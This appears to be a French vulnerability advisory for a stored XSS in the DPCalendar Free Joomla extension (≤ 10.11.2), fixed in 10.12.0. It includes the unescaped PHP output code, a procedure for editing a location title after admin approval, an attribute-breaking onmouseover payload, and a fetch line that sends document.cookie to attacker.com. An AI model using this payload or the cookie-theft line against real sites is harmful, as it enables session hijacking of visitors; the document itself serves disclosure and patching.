
XSS stocké via le titre de localisation dans DPCalendar Free
DPCalendar Free ≤ 10.11.2 — Un utilisateur avec le rôle Auteur contourne la revue de contenu pour injecter un XSS persistant via le titre d'un lieu, déclenché au survol par tout visiteur
Le champ $location->title est rendu sans htmlspecialchars() dans default_locations.php. Le InputFilter::clean() côté serveur de Joomla supprime et des champs de type chaîne mais autorise , permettant à un utilisateur avec le rôle Auteur de sortir du contexte d'attribut HTML. Lorsqu'un visiteur survole la section d'informations du lieu d'une page d'événement, le gestionnaire injecté exécute du JavaScript arbitraire dans sa session de navigation.
<>"onmouseoverUn second défaut de conception amplifie l'impact : EventController::allowEdit() vérifie uniquement created_by == current_user — il ne vérifie pas l'état de publication de l'événement. Un Auteur peut créer un événement bénin, le faire publier par un administrateur, puis armer silencieusement le lieu associé en modifiant son titre après publication, contournant entièrement la revue de contenu. La charge utile XSS est insérée après la modération ; les administrateurs ne la voient jamais durant leur cycle de revue.
| COMPOSANT | VULNÉRABLE | TESTÉ SUR | CORRIGÉ |
|---|---|---|---|
| DPCalendar Free | ≤ 10.11.2 | Joomla 6.1.2 + DPCalendar Free 10.11.2 (PHP 8.3 / Apache) | 10.12.0 |
Type : Cross-Site Scripting stocké / Encodage de sortie inapproprié (CWE-79)
Authentification requise : rôle Auteur — utilisateur frontal (groupe Joomla 4, minimum requis pour créer des événements)
Fichier : site/tmpl/event/default_locations.php
$location->title est affiché directement — sans htmlspecialchars() — dans deux contextes de sortie dans default_locations.php. Le contexte d'attribut est la source exploitable via l'interface web, car l'InputFilter de Joomla bloque <> mais laisse passer " sans modification.
DEFAULT_LOCATIONS.PHP — SOURCES DE SORTIE VULNÉRABLES
// Source 1 — contenu texte (injection HTML ; <> supprimé par InputFilter via l'interface web)
<span class="dp-location__title"><?php echo $location->title; ?></span>
// Source 2 — attribut HTML (injection d'attribut ; " passe à travers InputFilter)
<div class="dp-location__details"
data-title="<?php echo $location->title; ?>"
Une valeur de titre telle que New Location" onmouseover="alert(document.domain) est stockée intacte par le serveur. À la sortie, la source 2 est rendue comme suit :
<div class="dp-location__details"
data-title="New Location" onmouseover="alert(document.domain)"
L'attribut onmouseover devient un gestionnaire d'événements actif dans le DOM rendu.
EventController::allowEdit() accorde l'accès en modification à tout Auteur pour ses propres événements, quel que soit l'état de publication. Un attaquant établit la confiance en soumettant un événement normal pour revue par l'administrateur, puis — après publication par l'administrateur — modifie silencieusement le lieu associé pour injecter la charge utile XSS :
SITE/SRC/CONTROLLER/EVENTCONTROLLER.PHP — ALLOWEDIT() SANS VÉRIFICATION D'ÉTAT
protected function allowEdit($data = [], $key = 'id')
{
// ...
return $calendar instanceof CalendarInterface &&
($calendar->canEdit() ||
($calendar->canEditOwn() &&
$event->created_by == $this->getCurrentUser()->id));
// ↑ Aucune vérification de $event->state — les événements publiés restent modifiables par l'Auteur
}
Accéder au formulaire de connexion frontal et se connecter avec un compte Auteur (groupe Joomla 4 — minimum requis pour créer des événements et des lieux).

Accéder à /index.php?option=com_dpcalendar&view=form. Créer un événement avec un titre propre et associer un lieu existant (par exemple « Greater London »). Cela établit la légitimité de l'Auteur avant l'introduction de la charge utile.


L'événement est soumis pour revue. Un administrateur se connecte et le publie depuis le backend DPCalendar. L'événement est désormais en ligne et visible par tous les visiteurs du site.

En tant qu'Auteur, accéder à la page de l'événement publié. Le bouton Modifier l'événement reste visible — allowEdit() ne vérifie pas l'état de publication. Cliquer sur Modifier l'événement, aller dans l'onglet Lieu, puis cliquer sur l'icône crayon pour ouvrir locationform.

Remplacer le nom du lieu par la charge utile. L'InputFilter de Joomla laisse passer " — la charge utile est enregistrée intacte et brise le contexte d'attribut HTML à la sortie :
CHARGE UTILE — CHAMP TITRE (LOCATIONFORM)
New Location" onmouseover="alert(document.domain)

Cliquer sur Enregistrer.
Lorsque tout utilisateur — authentifié ou anonyme — visite la page de détail de l'événement et déplace son curseur sur la section Informations sur le lieu, le gestionnaire onmouseover injecté se déclenche immédiatement. Aucune authentification, aucun clic et aucune autre interaction ne sont nécessaires au-delà de la visite de la page.

La charge utile brute est visible dans la section Lieu de la page d'événement — le titre non échappé est rendu comme un attribut HTML actif :

Le survol de la section Lieu déclenche la boîte de dialogue d'alerte dans le navigateur du visiteur anonyme :

Détournement de session — Le gestionnaire injecté peut exfiltrer le cookie de session de la victime via fetch('//attacker.com/?c='+document.cookie), permettant une prise de contrôle totale du compte pour tout rôle qui consulte l'événement.
Surface d'attaque persistante et liée à l'événement — La charge utile persiste jusqu'à ce que le titre du lieu soit corrigé manuellement. Tout utilisateur qui visite la page de l'événement — y compris les visiteurs anonymes — est exposé. Les événements à fort trafic (conférences publiques, pages de réservation) multiplient le nombre de victimes.
Contournement de la confiance après publication — Étant donné que l'Auteur peut modifier silencieusement le lieu après l'approbation de l'administrateur, la charge utile n'est jamais vue durant la revue de contenu. L'événement bénin passe la modération ; le XSS est inséré ensuite.